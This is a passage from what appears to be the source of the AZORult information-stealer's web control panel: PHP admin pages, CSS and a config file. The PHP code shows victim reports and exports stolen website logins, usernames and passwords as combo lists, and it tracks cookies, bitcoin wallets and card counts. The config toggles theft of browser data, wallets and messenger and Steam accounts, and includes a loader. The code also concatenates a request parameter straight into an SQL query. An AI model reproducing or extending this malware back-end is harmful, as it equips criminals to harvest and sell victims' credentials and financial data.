(is_numeric($_GET['r_id']))) $query .=" AND passwords.r_id=".mysqli_real_escape_string($link, $_GET['r_id']);}; 400 | //echo $query; 401 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1") 402 | { 403 | $query .= " AND ( "; 404 | $links = explode("\r\n", FileToString("./links.txt")); 405 | foreach ($links as $key => $value) { 406 | //echo $value; 407 | $query .= "(passwords.p_p1 LIKE '".mysqli_real_escape_string($link, $value)."') OR"; 408 | } 409 | 410 | $query = substr($query,0,-2); 411 | $query .= " ) "; 412 | } 413 | 414 | $query .=" ORDER BY passwords.p_soft_type, passwords.p_soft_name"; 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | mysqli_close($link); 423 | $report = SQLToArray($query); 424 | 425 | 426 | 427 | $machine=""; 428 | if(isset($_GET['r_id'])) {if (($_GET['r_id']<>"") and (is_numeric($_GET['r_id']))) 429 | $machineA = SQLToArray("SELECT concat(reports.date, ' ',reports.time), 430 | concat(reports.country, ' ',reports.ip) AS country_ip, 431 | concat(reports.compname, '(',reports.username,')') AS comp_user, 432 | concat(reports.os_ver, '||',reports.os_name, '(',os_arch,')') AS windows, 433 | reports.m_id AS m_id, 434 | reports.r_id, 435 | reports.comment, 436 | concat(reports.passwords_count, ' | ', reports.btc_count,' | ',reports.cc_count,' | ',reports.files_count), 437 | concat(reports.bin_type, '|', reports.bin_rights) AS bin, 438 | concat(reports.filename) 439 | FROM reports 440 | WHERE reports.r_id=".$_GET['r_id']." GROUP BY reports.r_id"); 441 | 442 | 443 | if (sizeof(@$machineA)==1){ 444 | $i=0; 445 | /*foreach($machineA[$i] as $key2=>$value){ 446 | $machineA[$i][$key2] = antixss($value); 447 | 448 | }*/ 449 | $filename = $machineA[$i]["concat(reports.filename)"]; 450 | $actionscode=" 451 | 452 | "; 453 | $actionscode=sprintf($actionscode, 454 | $machineA[$i]["r_id"], 455 | human_filesize(@filesize("./files/$filename"), 1), 456 | 'deleteRow(this); sendPost("action=DeleteReport&r_id='.$machineA[$i]["r_id"].'")' 457 | ); 458 | 459 | $machineA[$i]["concat(reports.filename)"]=$actionscode; 460 | $country_ip=explode(' ', strtolower($machineA[$i]["country_ip"])); 461 | $machineA[$i]["country_ip"]="".strtoupper($country_ip[0])." | $country_ip[1]"; 462 | 463 | $windows=explode('||', $machineA[$i]["windows"]); 464 | $machineA[$i]["windows"]=" ".$windows[1]; 465 | 466 | $machineA[$i]["bin"].=' '; 467 | $machineA[$i]["comment"]=sprintf("Comment', 'pwd|btc|cc|files', 'T|R', 'Actions'), 476 | "reports-table", 477 | array(' ', ' ', ' ', ' ', ' ', ' ',' ', ' style="width: 20%"',' style="width: 7%"', ' align="right" width="1%" nowrap',' align="right" width="1%" nowrap')); 478 | } 479 | }; 480 | 481 | for($i=0; $i$value){ 483 | $report[$i][$key2] = antixss($value); 484 | }*/ 485 | /*$report[$i]["p_soft_name"]=htmlspecialchars($report[$i]['p_soft_name'], ENT_QUOTES); 486 | $report[$i]["p_p1"]=htmlspecialchars($report[$i]['p_p1'], ENT_QUOTES); 487 | $report[$i]["p_p2"]=htmlspecialchars($report[$i]['p_p2'], ENT_QUOTES); 488 | $report[$i]["p_p3"]=htmlspecialchars($report[$i]['p_p3'], ENT_QUOTES);*/ 489 | 490 | 491 | $report[$i]["p_soft_name"]="".$report[$i]['p_soft_name']; 492 | //$tmp[$i]['p_soft_name'] = " ".$tmp[$i]['p_soft_name']; 493 | 494 | $r_id=$report[$i]["r_id"]; 495 | $report[$i]["r_id"]=""; 496 | }; 497 | 498 | 499 | 500 | $reportstable=build_table($report, 501 | array('Soft name', 'URL', 'Username', 'Password', 'ReportID'), 502 | "reports-table", 503 | array(' ', ' ', ' ', ' ',' ' ,' align="right" width="1%" nowrap ')); 504 | global $HTML; 505 | $templ = str_replace("%count%", 506 | count($report), 507 | FileToString('./html/passwords.html')); 508 | $HTML = str_replace("%PADE_DATA%", $templ.$machine.$reportstable, $HTML); 509 | }; 510 | 511 | 512 | 513 | 514 | function ShowConverterPage(){ 515 | global $HTML; 516 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/cookiesconverter.html'), $HTML); 517 | }; 518 | 519 | 520 | function ShowExporterPage(){ 521 | 522 | global $HTML; 523 | global $CSRF_TOKEN; 524 | $exporter_data=""; 525 | $query = ""; 526 | if (isset($_POST['export_type'])) 527 | { 528 | if ($_POST['csrf_token'] != $CSRF_TOKEN) die(''); 529 | if ($_POST['export_type'] == "0") $query = "SELECT DISTINCT passwords.p_p3 AS line FROM `passwords`"; 530 | if ($_POST['export_type'] == "1") $query = "SELECT DISTINCT passwords.p_p2 AS line FROM `passwords`"; 531 | if ($_POST['export_type'] == "2") $query = "SELECT DISTINCT concat(passwords.p_p1,'@',passwords.p_p2,':',passwords.p_p3) AS line FROM `passwords`"; 532 | if ($_POST['export_type'] == "3") $query = "SELECT DISTINCT concat(passwords.p_p2,':',passwords.p_p3) AS line FROM `passwords` WHERE passwords.p_p2<>'' AND passwords.p_p3<>''" ; 533 | 534 | if ($_POST['export_type'] == "4") $query = "SELECT DISTINCT concat('SOFT:',Char(9),passwords.p_soft_name,Char(13),Char(10), 'HOST:',Char(9),passwords.p_p1,Char(13),Char(10),'USER:',Char(9),passwords.p_p2,Char(13),Char(10),'PASS:',Char(9),p_p3,Char(13),Char(10)) AS line FROM `passwords`"; 535 | 536 | if($query!=""){ 537 | $data = SQLToArray($query); 538 | foreach($data as $key => $value){ 539 | $exporter_data .= $value['line']."\r\n"; 540 | } 541 | } 542 | 543 | } 544 | $exporter_data = htmlspecialchars($exporter_data, ENT_QUOTES, 'UTF-8'); 545 | $exporter_data = str_replace('<', '<', $exporter_data); 546 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/exporter.html'), $HTML); 547 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML); 548 | $HTML = str_replace("%exporter_data%", $exporter_data, $HTML); 549 | }; 550 | 551 | function ShowServerinfoPage(){ 552 | global $HTML; 553 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/serverinfo.html'), $HTML); 554 | $HTML = str_replace("%phpversion%", phpversion(), $HTML); 555 | 556 | 557 | $HTML = str_replace("%post_max_size%", ini_get('post_max_size'), $HTML); 558 | $HTML = str_replace("%upload_max_filesize%", ini_get('upload_max_filesize'), $HTML); 559 | $HTML = str_replace("%max_input_time%", ini_get('max_input_time'), $HTML); 560 | $HTML = str_replace("%max_execution_time%", ini_get('max_execution_time'), $HTML); 561 | $HTML = str_replace("%memory_limit%", ini_get('memory_limit'), $HTML); 562 | $HTML = str_replace("%error_log%", ini_get('error_log'), $HTML); 563 | 564 | $HTML = str_replace("%iconv%", function_exists('iconv') ? '+' : '-', $HTML); 565 | $HTML = str_replace("%zipmodule%", class_exists('ZipArchive') ? '+' : '-', $HTML); 566 | $HTML = str_replace("%jsonmodule%", function_exists('json_decode') ? '+' : '-', $HTML); 567 | 568 | clearstatcache(); 569 | 570 | $HTML = str_replace("%filesw%", is_writable("./files/") ? '+' : '-', $HTML); 571 | $HTML = str_replace("%configw%", is_writable("./config.json") ? '+' : '-', $HTML); 572 | $HTML = str_replace("%linksw%", is_writable("./links.txt") ? '+' : '-', $HTML); 573 | 574 | 575 | $data=""; 576 | foreach (ini_get_all(null, false) as $key => $value) $data.= "$key = $value;
"; 577 | $HTML = str_replace("%phpini%", $data, $HTML); 578 | 579 | 580 | }; 581 | 582 | function ProcessAction(){ 583 | global $CSRF_TOKEN; 584 | if ($_POST['csrf_token'] != $CSRF_TOKEN) die(''); 585 | 586 | $result = array(); 587 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect: ' . mysql_error()); 588 | if($_POST['action']=="AddReportComment"){ 589 | $query=sprintf("UPDATE reports 590 | SET reports.comment='%s' 591 | WHERE reports.r_id='%s'", 592 | mysqli_real_escape_string($link, $_POST['comment']), 593 | mysqli_real_escape_string($link, $_POST['r_id'])); 594 | 595 | ExecSQL($query); 596 | } 597 | 598 | if($_POST['action']=="DeleteReport"){ 599 | $query=sprintf("UPDATE reports 600 | SET reports.trashed='1' 601 | WHERE reports.r_id='%s'", 602 | mysqli_real_escape_string($link, $_POST['r_id'])); 603 | 604 | ExecSQL($query); 605 | } 606 | if($_POST['action']=="SetConfig") { 607 | SetConfig(); 608 | } 609 | 610 | if($_POST['action']=="EmptyTrash") { 611 | 612 | $filenames = SQLToArray("SELECT reports.filename FROM reports WHERE reports.trashed = 1"); 613 | ExecSQL("DELETE FROM passwords 614 | WHERE passwords.r_id IN (SELECT reports.r_id FROM reports WHERE reports.trashed = 1)"); 615 | ExecSQL("DELETE FROM cookies 616 | WHERE cookies.r_id IN (SELECT reports.r_id FROM reports WHERE reports.trashed = 1)"); 617 | 618 | ExecSQL("DELETE FROM reports 619 | WHERE reports.trashed = 1"); 620 | 621 | foreach ($filenames as $filename){ 622 | $isH = false; 623 | if (strripos($value, "/") !== false) $isH = true; 624 | if (strripos($value, "\\") !== false) $isH = true; 625 | if (!$isH) 626 | @unlink("./files/".$filename['filename']); 627 | } 628 | header("Location: ".$_SERVER["REQUEST_URI"]); 629 | } 630 | 631 | 632 | if($_POST['action']=="Empty0000") { 633 | 634 | $filenames = SQLToArray("SELECT reports.filename FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0"); 635 | ExecSQL("DELETE FROM passwords 636 | WHERE passwords.r_id IN (SELECT reports.r_id FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0)"); 637 | ExecSQL("DELETE FROM cookies 638 | WHERE cookies.r_id IN (SELECT reports.r_id FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0)"); 639 | 640 | ExecSQL("DELETE FROM reports 641 | WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0"); 642 | 643 | foreach ($filenames as $filename){ 644 | $isH = false; 645 | if (strripos($value, "/") !== false) $isH = true; 646 | if (strripos($value, "\\") !== false) $isH = true; 647 | if (!$isH) 648 | @unlink("./files/".$filename['filename']); 649 | } 650 | header("Location: ".$_SERVER["REQUEST_URI"]); 651 | } 652 | if($_POST['action']=="DeleteAll") { 653 | ExecSql("TRUNCATE TABLE passwords"); 654 | ExecSql("TRUNCATE TABLE reports"); 655 | ExecSql("TRUNCATE TABLE cookies"); 656 | 657 | if (file_exists('./files')) 658 | foreach (glob('./files/*.zip') as $file) 659 | unlink($file); 660 | header("Location: ".$_SERVER["REQUEST_URI"]); 661 | } 662 | 663 | if($_POST['action']=="SetLinks") { 664 | $ldata=$_POST['data']; 665 | $ldata = str_replace('<', '<', $ldata); 666 | $ldata = str_replace('"', '', $ldata); 667 | $ldata = str_replace("'", '', $ldata); 668 | WriteToFile("./links.txt", $ldata); 669 | header("Location: ".$_SERVER["REQUEST_URI"]); 670 | } 671 | }; 672 | 673 | function Main(){ 674 | if (isset($_POST['action'])) { 675 | ProcessAction(); 676 | die(); 677 | }; 678 | global $PAGE; 679 | global $HTML; 680 | if(isset($_GET['page'])){ 681 | $PAGE=$_GET['page']; 682 | }else{ 683 | $PAGE="home"; 684 | }; 685 | 686 | LoadPageSkeleton(); 687 | ShowMenu(); 688 | if($PAGE == "home") ShowHomePage(); 689 | if($PAGE == "reports") ShowReportsPage(); 690 | if($PAGE == "passwords") ShowPasswordsPage(); 691 | if($PAGE == "cookiesconverter") ShowConverterPage(); 692 | if($PAGE == "serverinfo") ShowServerinfoPage(); 693 | if($PAGE == "importantlinks") ShowImportantLinksPage(); 694 | if($PAGE == "exporter") ShowExporterPage(); 695 | 696 | if($PAGE == "logout") { 697 | header('Set-cookie: pwd=0; httpOnly' ); 698 | header("Location: ". $_SERVER['PHP_SELF']); 699 | } 700 | 701 | echo $HTML; 702 | }; 703 | 704 | function Auth(){ 705 | if (@$_POST['auth']=="1"){ 706 | sleep(2); 707 | if (@$_POST['password']==ADMIN_PWD) 708 | { 709 | header('Set-cookie: pwd='.md5($_POST['password'].$_SERVER['HTTP_USER_AGENT']."").'; httpOnly' ); 710 | header("Location: ".$_SERVER['PHP_SELF']); 711 | }; 712 | }; 713 | }; 714 | Auth(); 715 | if((@$_COOKIE["pwd"]) != md5(ADMIN_PWD.$_SERVER['HTTP_USER_AGENT']."")) die(FileToString('./html/login.html')); 716 | Main(); 717 | ?> -------------------------------------------------------------------------------- /panel/config.json: -------------------------------------------------------------------------------- 1 | {"isDouble":true,"isSavedPasswords":false,"isBrowserData":false,"isBrowserHistory":false,"isWallets":false,"isSkype":false,"isTelegram":false,"isSteam":false,"isScreenshot":false,"isDelete":true,"files":{},"loader":{}} -------------------------------------------------------------------------------- /panel/css/menu.css: -------------------------------------------------------------------------------- 1 | 2 | /* Please Keep this font import at the very top of any CSS file */ 3 | @charset "UTF-8"; 4 | /* Starter CSS for Flyout Menu */ 5 | #cssmenu { 6 | padding: 0; 7 | margin: 0; 8 | border: 0; 9 | line-height: 1; 10 | = 11 | } 12 | #cssmenu ul, 13 | #cssmenu ul li, 14 | #cssmenu ul ul { 15 | list-style: none; 16 | margin: 0; 17 | padding: 0; 18 | } 19 | #cssmenu ul { 20 | position: relative; 21 | z-index: 597; 22 | float: left; 23 | } 24 | #cssmenu ul li { 25 | float: left; 26 | min-height: 1px; 27 | line-height: 1em; 28 | vertical-align: middle; 29 | position: relative; 30 | } 31 | #cssmenu ul li.hover, 32 | #cssmenu ul li:hover { 33 | position: relative; 34 | z-index: 599; 35 | cursor: default; 36 | } 37 | #cssmenu ul ul { 38 | visibility: hidden; 39 | position: absolute; 40 | top: 100%; 41 | left: 0px; 42 | z-index: 598; 43 | width: 100%; 44 | } 45 | #cssmenu ul ul li { 46 | float: none; 47 | } 48 | #cssmenu ul ul ul { 49 | top: -2px; 50 | right: 0; 51 | } 52 | #cssmenu ul li:hover > ul { 53 | visibility: visible; 54 | } 55 | #cssmenu ul ul { 56 | top: 1px; 57 | left: 99%; 58 | } 59 | #cssmenu ul li { 60 | float: none; 61 | } 62 | #cssmenu ul ul { 63 | margin-top: 1px; 64 | } 65 | #cssmenu ul ul li { 66 | font-weight: normal; 67 | } 68 | /* Custom CSS Styles */ 69 | #cssmenu { 70 | width: 100%; 71 | //background: #333333; 72 | 73 | font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif; 74 | zoom: 1; 75 | font-size: 12px; 76 | } 77 | #cssmenu:before { 78 | content: ''; 79 | display: block; 80 | } 81 | #cssmenu:after { 82 | content: ''; 83 | display: table; 84 | clear: both; 85 | } 86 | #cssmenu a { 87 | display: block; 88 | padding: 15px 20px; 89 | color: #ffffff; 90 | text-decoration: none; 91 | text-transform: uppercase; 92 | border-bottom: 1px solid black; 93 | } 94 | #cssmenu > ul { 95 | width: 100%; 96 | } 97 | #cssmenu ul ul { 98 | width: 100%; 99 | } 100 | #cssmenu > ul > li > a { 101 | //border-right: 4px solid #1b9bff; 102 | color: #ffffff; 103 | } 104 | #cssmenu > ul > li > a:hover { 105 | color: #ffffff; 106 | } 107 | #cssmenu > ul > li.active a { 108 | background: #1b9bff; 109 | } 110 | #cssmenu > ul > li a:hover, 111 | #cssmenu > ul > li:hover a { 112 | background: #1b9bff; 113 | } 114 | #cssmenu li { 115 | position: relative; 116 | } 117 | #cssmenu ul li.has-sub > a:after { 118 | content: ''; 119 | position: absolute; 120 | top: 50%; 121 | right: 15px; 122 | margin-top: -6px; 123 | } 124 | #cssmenu ul ul li.first { 125 | -webkit-border-radius: 0 3px 0 0; 126 | -moz-border-radius: 0 3px 0 0; 127 | border-radius: 0 3px 0 0; 128 | } 129 | #cssmenu ul ul li.last { 130 | -webkit-border-radius: 0 0 3px 0; 131 | -moz-border-radius: 0 0 3px 0; 132 | border-radius: 0 0 3px 0; 133 | border-bottom: 0; 134 | } 135 | #cssmenu ul ul { 136 | -webkit-border-radius: 0 3px 3px 0; 137 | -moz-border-radius: 0 3px 3px 0; 138 | border-radius: 0 3px 3px 0; 139 | } 140 | #cssmenu ul ul { 141 | border: 1px solid #0082e7; 142 | } 143 | #cssmenu ul ul a { 144 | font-size: 12px; 145 | color: #ffffff; 146 | } 147 | #cssmenu ul ul a:hover { 148 | color: #ffffff; 149 | } 150 | #cssmenu ul ul li { 151 | border-bottom: 1px solid #0082e7; 152 | } 153 | #cssmenu ul ul li:hover > a { 154 | background: #4eb1ff; 155 | color: #ffffff; 156 | } 157 | #cssmenu.align-right > ul > li > a { 158 | border-left: 4px solid #1b9bff; 159 | border-right: none; 160 | } 161 | #cssmenu.align-right { 162 | float: right; 163 | } 164 | #cssmenu.align-right li { 165 | text-align: right; 166 | } 167 | #cssmenu.align-right ul li.has-sub > a:before { 168 | content: '+'; 169 | position: absolute; 170 | top: 50%; 171 | left: 15px; 172 | margin-top: -6px; 173 | } 174 | #cssmenu.align-right ul li.has-sub > a:after { 175 | content: none; 176 | } 177 | #cssmenu.align-right ul ul { 178 | visibility: hidden; 179 | position: absolute; 180 | top: 0; 181 | left: -100%; 182 | z-index: 598; 183 | width: 100%; 184 | } 185 | #cssmenu.align-right ul ul li.first { 186 | -webkit-border-radius: 3px 0 0 0; 187 | -moz-border-radius: 3px 0 0 0; 188 | border-radius: 3px 0 0 0; 189 | } 190 | #cssmenu.align-right ul ul li.last { 191 | -webkit-border-radius: 0 0 0 3px; 192 | -moz-border-radius: 0 0 0 3px; 193 | border-radius: 0 0 0 3px; 194 | } 195 | #cssmenu.align-right ul ul { 196 | -webkit-border-radius: 3px 0 0 3px; 197 | -moz-border-radius: 3px 0 0 3px; 198 | border-radius: 3px 0 0 3px; 199 | } 200 | -------------------------------------------------------------------------------- /panel/css/style.css: -------------------------------------------------------------------------------- 1 | BODY { 2 | font-family: "Helvetica Neueu", Helvetica, Arial, sans-serif; 3 | 4 | background-color: #191c22; 5 | margin: 0; 6 | //background: #fc0; 7 | 8 | background-attachment: fixed; 9 | background-size: 100%; 10 | //background: linear-gradient(to top, #243949, #517fa4) no-repeat #243949; 11 | } 12 | 13 | 14 | .edit { 15 | border:1px solid #9E9E9E; 16 | color: #FFFFFF; 17 | padding: 3px; 18 | margin-top: 2px; 19 | margin-bottom: 2px; 20 | font-size: 11px; 21 | font-family: Verdana; 22 | background: rgba(0, 0, 0, 0); 23 | } 24 | 25 | textarea { 26 | border:1px solid #9E9E9E; 27 | color: #FFFFFF; 28 | padding: 3px; 29 | margin-top: 2px; 30 | margin-bottom: 2px; 31 | font-size: 11px; 32 | font-family: Verdana; 33 | background: #222630; 34 | } 35 | 36 | .sbutton { 37 | border:1px solid #9E9E9E; 38 | color: #FFFFFF; 39 | padding: 3px; 40 | margin-top: 2px; 41 | margin-bottom: 2px; 42 | font-size: 11px; 43 | font-family: Verdana; 44 | background: rgba(0, 0, 0, 0); 45 | cursor: pointer; 46 | } 47 | 48 | button { 49 | border:1px solid #9E9E9E; 50 | color: #FFFFFF; 51 | padding: 3px; 52 | margin-top: 2px; 53 | margin-bottom: 2px; 54 | font-size: 11px; 55 | font-family: Verdana; 56 | background: rgba(0, 0, 0, 0.3); 57 | cursor: pointer; 58 | } 59 | 60 | .page-all{ 61 | 62 | } 63 | 64 | .page-header-logo{ 65 | width: 100px; 66 | height: 100%; 67 | background: rgba(0, 0, 0, 0) url("../img/logo.png") no-repeat scroll center center / cover; 68 | } 69 | 70 | .page-header{ 71 | width: 100%; 72 | height: 50px; 73 | background-color: #222630; 74 | } 75 | 76 | 77 | .page-content{ 78 | 79 | } 80 | 81 | .page-left-bar{ 82 | position:absolute; 83 | margin-right: auto; 84 | 85 | width: 9%; 86 | min-height: 800px; 87 | background-color: #222630; 88 | border-radius: 0px 0px 0px 0px; 89 | border: 1px; 90 | border-style: solid; 91 | } 92 | 93 | .page-data{ 94 | position:relative; 95 | margin-left: auto; 96 | margin-top: 25px; 97 | 98 | width: 90%; 99 | min-height: 800px; 100 | background-color: #222630; 101 | border-radius: 0px 0px 0px 0px; 102 | border: 1px; 103 | border-style: solid; 104 | } 105 | 106 | 107 | .info-text1{ 108 | background: #131614; 109 | border: 1px; 110 | border-style: solid; 111 | border-color: #614343; 112 | color: #E6E6FA; 113 | padding: 10px; 114 | margin: 5px; 115 | } 116 | 117 | .data-box{ 118 | background: #131614; 119 | border: 1px; 120 | border-style: solid; 121 | border-color: #614343; 122 | color: #E6E6FA; 123 | width: 100%; 124 | height: 100%; 125 | min-height: 600px; 126 | } 127 | 128 | .dates-table{ 129 | background: #131614; 130 | border-collapse: collapse; 131 | 132 | color: #ffffff; 133 | margin-top: 0; 134 | width: 100%; 135 | 136 | } 137 | 138 | .dates-table TD, TH, TR{ 139 | border: 1px solid #614343; 140 | } 141 | 142 | 143 | .reports-table{ 144 | white-space: nowrap; 145 | border-style: solid; 146 | border-color: #131614; 147 | width: 99%; 148 | margin: auto; 149 | font-size: 13px; 150 | border-collapse: collapse ; 151 | 152 | 153 | } 154 | 155 | .reports-table th{ 156 | background: linear-gradient(to top, #131614, #222A2F) no-repeat #131614; 157 | color: #E6E6FA; 158 | padding: 1px; 159 | border: 1px solid maroon; 160 | 161 | } 162 | 163 | .reports-table tr{ 164 | background-color: #e9e9e9 ; 165 | padding: 10px; 166 | 167 | } 168 | 169 | .reports-table tr:nth-child(odd){ 170 | background-color: #d8d8d8; 171 | padding: 10px; 172 | 173 | } 174 | 175 | .reports-table td{ 176 | border: 1px solid maroon; 177 | 178 | } 179 | 180 | .reports-table caption{ 181 | background-color: #131614 ; 182 | 183 | } 184 | 185 | .reports-table tbody tr:hover { 186 | //font-weight: bold; 187 | background: #1b9bff; 188 | color: #fff; 189 | } 190 | 191 | 192 | 193 | 194 | .config-table{ 195 | color: white; 196 | border-style: solid; 197 | border-color: rgba(0, 0, 0, 0); 198 | border-collapse: collapse ; 199 | 200 | 201 | } 202 | 203 | .config-table tr{ 204 | background-color: rgba(0, 0, 0, 0) ; 205 | padding: 2px; 206 | margin: 5px; 207 | //vertical-align: top; 208 | 209 | } 210 | 211 | .config-table td{ 212 | padding-left: 5px; 213 | 214 | 215 | 216 | } 217 | 218 | .config-button { 219 | border-color: red; 220 | background-color: rgba(128,128,128, 0.2) ; 221 | color: white; 222 | padding-left: 5px; 223 | cursor: pointer; 224 | 225 | 226 | } 227 | 228 | 229 | 230 | 231 | 232 | .stat-table{ 233 | color: white; 234 | //border-style: solid; 235 | //border-color: rgba(0, 0, 0, 1); 236 | border-collapse: collapse ; 237 | background-color: rgba(25, 28, 34, 0.3); 238 | 239 | } 240 | 241 | .stat-table TD, TH, TR{ 242 | border: 1px solid #232627; 243 | padding-left: 10px; 244 | padding-right: 10px; 245 | } 246 | 247 | 248 | 249 | 250 | 251 | .spoiler > input + .box > blockquote{ 252 | display: none; 253 | } 254 | .spoiler > input:checked + .box > blockquote { 255 | display: block; 256 | } 257 | .spoiler > input[type="checkbox"] { 258 | cursor: pointer; 259 | border-color:transparent!important; 260 | border-style:none!important; 261 | background:transparent none!important; 262 | position:relative;z-index:1; 263 | margin:-10px 0 -30px -230px; 264 | } 265 | .spoiler > input[type="checkbox"]:focus { 266 | outline:none; /* Убираем обводку в ИЕ8 при "фокусе" */ 267 | } 268 | .spoiler span.close, 269 | .spoiler span.open{ 270 | padding-left:22px; 271 | color: white; 272 | } 273 | .spoiler > input + .box > span.close { 274 | display: none; 275 | } 276 | .spoiler > input:checked + .box > span.close { 277 | background: url("../img/filter_minus.png") 4px 60% no-repeat; 278 | display: inline; 279 | } 280 | .spoiler > input:checked + .box > span.open { 281 | display: none; 282 | } 283 | .spoiler > input + .box > span.open { 284 | background: url("../img/filter_plus.png") 4px 60% no-repeat; 285 | display: inline; 286 | } 287 | .spoiler blockquote, 288 | .spoiler{ 289 | padding:1em; 290 | 291 | } 292 | .spoiler { 293 | overflow-x:hidden; 294 | 295 | //border:#E5E5E5 solid 2px; 296 | 297 | } 298 | .spoiler blockquote { 299 | margin-top:5px; 300 | min-height: 23px; 301 | 302 | } 303 | 304 | 305 | 306 | 307 | 308 | -------------------------------------------------------------------------------- /panel/files/.htaccess: -------------------------------------------------------------------------------- 1 | Options -Indexes -------------------------------------------------------------------------------- /panel/files/index.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/files/index.html -------------------------------------------------------------------------------- /panel/functions.php: -------------------------------------------------------------------------------- 1 | "; 40 | $html .= ''; 41 | for($i=0; $i'; 43 | } 44 | $html .= ''; 45 | if(sizeof($array)!=0){ 46 | foreach( $array as $key=>$value){ 47 | $html .= ''; 48 | if(sizeof($value)!=0){ 49 | $x=0; 50 | foreach($value as $key2=>$value2){ 51 | $x=$x+1; 52 | @$html .= "" . $value2 . ''; 53 | } 54 | } 55 | 56 | $html .= ''; 57 | } 58 | } 59 | 60 | 61 | $html .= ''; 62 | return $html; 63 | }; 64 | 65 | 66 | function human_filesize($bytes, $decimals = 2) { 67 | $sz = 'BKMGTP'; 68 | $factor = floor((strlen($bytes) - 1) / 3); 69 | return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor]; 70 | } 71 | 72 | ?> -------------------------------------------------------------------------------- /panel/guest.php: -------------------------------------------------------------------------------- 1 | $value){ 40 | $result[$i][$key2] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); 41 | 42 | } 43 | } 44 | 45 | return $result; 46 | }; 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | function ShowHomePage(){ 57 | global $HTML; 58 | $page=FileToString('./html/home.html'); 59 | $tables=''; 60 | $div="
"; 61 | 62 | 63 | $c_all = SQLToArray("SELECT COUNT(*) AS c FROM reports")[0]['c']; 64 | 65 | 66 | $c_today = SQLToArray("SELECT COUNT(*) AS c FROM reports 67 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1) AND DAY(reports.date) = DAY(NOW())")[0]['c']; 68 | 69 | $c_week = SQLToArray("SELECT COUNT(*) AS c FROM reports 70 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1)")[0]['c']; 71 | 72 | 73 | $c_month = SQLToArray("SELECT COUNT(*) AS c FROM reports 74 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW())")[0]['c']; 75 | 76 | $c_stat = array( 77 | array('All', $c_all), 78 | array('Today', $c_today), 79 | array('Week', $c_week), 80 | array('Month', $c_month), 81 | ); 82 | 83 | $tables .=$div."Reports count".build_table($c_stat, 84 | array('', ''), 85 | "stat-table", 86 | array(' ', ' '), 87 | 'reportsgrid' 88 | )."
"; 89 | 90 | $tmp = SQLToArray("SELECT country, COUNT(*) AS CountRec, 91 | COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 92 | FROM reports 93 | GROUP BY `country` 94 | ORDER BY CountRec DESC"); 95 | for($i=0; $i ".$tmp[$i]['country']; 97 | } 98 | $tables .=$div."Country stats".build_table($tmp, 99 | array('Country', 'count', '%'), 100 | "stat-table", 101 | array(' ', ' ', ' '), 102 | 'reportsgrid' 103 | ).""; 104 | 105 | 106 | 107 | $tables .=$div."Arch stats".build_table(SQLToArray(" SELECT `os_arch`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 108 | FROM reports 109 | GROUP BY `os_arch` 110 | ORDER BY CountRec DESC"), 111 | array('Arch', 'count', '%'), 112 | "stat-table", 113 | array(' ', ' ', ' '), 114 | 'reportsgrid' 115 | ).""; 116 | 117 | $tmp = SQLToArray("SELECT `os_ver`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 118 | FROM reports 119 | GROUP BY `os_ver` 120 | ORDER BY CountRec DESC"); 121 | for($i=0; $i ".$tmp[$i]['os_ver']; 123 | } 124 | 125 | $tables .=$div."OS stats".build_table($tmp, 126 | array('OS', 'count', '%'), 127 | "stat-table", 128 | array(' ', ' ', ' '), 129 | 'reportsgrid' 130 | ).""; 131 | 132 | $tables .=$div."Rights stats".build_table(SQLToArray(" SELECT `bin_rights`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 133 | FROM reports 134 | GROUP BY `bin_rights` 135 | ORDER BY CountRec DESC"), 136 | array('Rights', 'count', '%'), 137 | "stat-table", 138 | array(' ', ' ', ' '), 139 | 'reportsgrid' 140 | ).""; 141 | 142 | $tables .=$div."Binary type stats".build_table(SQLToArray(" SELECT `bin_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 143 | FROM reports 144 | GROUP BY `bin_type` 145 | ORDER BY CountRec DESC"), 146 | array('Type', 'count', '%'), 147 | "stat-table", 148 | array(' ', ' ', ' '), 149 | 'reportsgrid' 150 | ).""; 151 | 152 | $arr = SQLToArray(" SELECT `p_soft_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent 153 | FROM passwords 154 | GROUP BY `p_soft_type` 155 | ORDER BY CountRec DESC"); 156 | for ($i=0; $i"; 169 | $tmp = SQLToArray(" SELECT p_soft_name, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent 170 | FROM passwords 171 | GROUP BY `p_soft_name` 172 | ORDER BY CountRec DESC"); 173 | for($i=0; $i ".$tmp[$i]['p_soft_name']; 175 | } 176 | $tables .=$div."Software stats".build_table($tmp, 177 | array('Soft', 'count', '%'), 178 | "stat-table", 179 | array(' ', ' 